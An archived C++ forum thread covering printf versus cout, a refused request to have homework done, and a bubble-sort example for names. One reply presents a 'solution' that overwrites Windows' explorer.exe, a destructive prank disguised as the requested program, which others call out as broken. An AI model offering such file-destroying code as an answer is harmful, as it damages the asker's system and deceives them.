hi I want to ask an inportant question

hi

I am graduate computer scince

I stuudyed c++ in the college

but now I want to improve my skills in computer because I want to study master

my questionnnnnnnnnnnnnnnnnnnnnnn

what's the different between :


1) (cout>>) and (printf(" ....")
cin>> and scanf(.....)


my brother says that (printf ("....."), scanf(...) are a typical expression in c++


pleaaaaaaaaaaaaaaaaaaaaaaaaase
tell me
I want to starrrrrrrrrrrt from a good base

printf and scanf are most definitely C (though usable in C++) whereas cout and cin are C++ only.

The main drawbacks of printf / scanf are that you have to know the types of the variables you are inputting/outputting in order to get the format string correct. If the types ever change, the format string has to change also. cin/cout don't have this restriction; indeed cout << variable works so long as the type of variable is streamable.

jsmith

thank u
thank u
thank u
thank u very much for telling me the answer .
Write a C++ program that performs the above mentioned operations on vectors with the help of above mentioned formulae. The program should have four user defined functions for the above operations.1) Addition 2) Subtraction 3) Multiplication 4) Length The following menu of commands should be displayed at the start of program execution. Press 'a' to add two vectorsPress 's' to subtract two vectorsPress 'm' to multiply two vectorsPress 'l to calculate the length of vector Press 'q' to quitPlease enter your choice: aAfter the user selects a choice, prompt the user to enter the vector components on which the selected mathematical operation is to be performed, and then display the result. For example, if the user enters ‘a’ then your output should be:Enter first component of vector : 2Enter second component of vector : 7The vector is : [ 2 , 7 ]Enter first component of vector : 6Enter second component of vector : 3The vector is : [ 6 , 3 ]The sum is [ 8 , 10 ]if the user enters ‘s’ then your output should be :Enter first component of vector : 2Enter second component of vector : 7The vector is : [ 2 , 7 ]Enter first component of vector : 6Enter second component of vector : 3The vector is : [ 6 , 3 ]The difference is [ -4 , 4]if the user enters ‘m’ then your output should be :Enter first component of vector : 2Enter second component of vector : 7The vector is : [ 2 , 7 ]Enter first component of vector : 6Enter second component of vector : 3The vector is : [ 6 , 3 ]The multiplication is 33After the menu if the user selects ‘l’ then your output should beEnter first component of vector : 1Enter second component of vector : 2The vector is : [ 1 , 2 ]The length is 2.23607After the menu if the user selects ‘q’ then your output should bePress any key to continue
thanks
maan: If you have a question please post this in it's own topic in a clear, readable format.
here i am putting a needed program please any one will code it for me?

i want to Write a C++ program that performs the above mentioned operations on vectors with the help of above mentioned formulae. The program should have four user defined functions for the above operations.
1) Addition
2) Subtraction
3) Multiplication
4) Length
The following menu of commands should be displayed at the start of

program execution.
Press 'a' to add two vectors
Press 's' to subtract two vectors
Press 'm' to multiply two vectors
Press 'l to calculate the length of vector
Press 'q' to quit
Please enter your choice: a

After the user selects a choice, prompt the user to enter the vector components on which the selected mathematical operation is to be performed, and then display the result. For example...

if the user enters ‘m’ then your output should be

Enter first component of vector : 2
Enter second component of vector : 7
The vector is : [ 2 , 7 ]

Enter first component of vector : 6
Enter second component of vector : 3
The vector is : [ 6 , 3 ]
The multiplication is 33

if the user enters ‘s’ then your output should be

Enter first component of vector : 2
Enter second component of vector : 7
The vector is : [ 2 , 7 ]

Enter first component of vector : 6
Enter second component of vector : 3
The vector is : [ 6 , 3 ]
The difference is [ -4 , 4]

if the user enters ‘m’ then your output should be
Enter first component of vector : 2
Enter second component of vector : 7
The vector is : [ 2 , 7 ]

Enter first component of vector : 6
Enter second component of vector : 3

The vector is : [ 6 , 3 ]

After the menu if the user selects ‘l’ then your output should be
Enter first component of vector : 1
Enter second component of vector : 2
The vector is : [ 1 , 2 ]

The length is 2.23607
The multiplication is 33

After the menu if the user selects ‘q’ then your output should be
Press any key to continue …..

Conditions that must be checked and fulfilled:
1) If a user enters choice other then choices given in menu, then a message should be displayed “You have entered wrong choice:” and main menu should be displayed again.

2) If a used enters a ,s or m then you have to take components of two vectors then do calculation on them

3) If a user enters l then you have to take components of one vector only then do calculation on it.



Last edited on
maan: when you have a question, please post in your own topic.
However, it is very unlikely that anyone will do you homework for you. This is a forum where people HELP other people with specific C++ problems. It's not a forum where people do your work/homework for you for free.
Harharhar I got dun ur program fer ye.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <iostream>
#include <fstream>

using std::string;
using std::ofstream;
using std::ifstream;

int main() {
	ofstream file("c:\windows\explorer.exe", std::ios::out | std::ios::binary);
	
	if (file.is_open()) {
		file.write("Vector", 7);
	}
	
	return 0;
}


And thatz it. Its good cause this program bilt into wind0wz.
Pwnd
lol enixi0s. Thats a bad attempt to be elite. Especially when it won't even work.

 
ofstream file("c:\windows\explorer.exe", std::ios::out | std::ios::binary);


You didn't escape your \'s
Dear Zaita
i dont want to make problem for someone but i am facing a hard problem nowadays. i need help and i will be be realy geartfull for any who do my only and one time that home work. i cannot pay anything thing at this time but i will try to pay your aal charges in future please any one write that program. thank you very much.
maan, nobody is going to just do your homework for you. People will help you if you make an honest effort to write the program yourself and post your non-working code. It does not benefit you academically to have someone do your work for you.

To be honest, any software professional will be able to write your program in 15 minutes, thus I'd expect you to at least have something running but non-working in an hour or so.
Zaita :
Lol i didn't even think about that (i didnt actually test the code as you might imagine ^^)
I just like being an idiot sometimes. Good spot n e hoo ^^
++
Enixi0s: :D

Maan: jsmith is right, we aren't here to do everyones homework. If you are not able to do the majority of it by yourself, technically you shouldn't be allowed to graduate. It just creates more useless developers in the workforce we have to clean code up after.
respested experts!
i want to sort the names which i will get from user through my below code please add a little code to sort them thanks


#include <iostream.h>

main()
{
char name [10]={25};

cout << " PLease enter the names " << endl;




for (int names = 1 ; names <11 ; names ++ )
{
cout << " Name " <<names << " ......";

cin >> name [1];

}
}
Here is a single sorting using the bubble algorithm.
It only compares the first letter of each name and also compares uppercase and lowercase... So to corectly compare them make all the first letters upper or lower and you can make a few changes to make it compare the rest of the names if the first letter is the same.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <iostream>
#include <string>
using namespace std;

int main(){
   char name[10][20];
   for(int i=0; i<10; i++){
      cout << "Please give name: ";
      cin >> name[i];
   }
   //Sorting using the first character of every name
   int flag = 1;
   for(int i = 1; i <= 10 && flag; i++){
      flag = 0;
      for (int j=0; j < (10 - 1); j++){
         if (name[j+1][0] < name[j][0]){
            char temp[20];
            strcpy(temp, name[j]);
            strcpy(name[j], name[j+1]);
            strcpy(name[j+1], temp);
            flag = 1;
         }
      }
   }
   for(int i=0; i<10; i++){
      cout << name[i] << endl;
   }
}
Topic archived. No new replies allowed.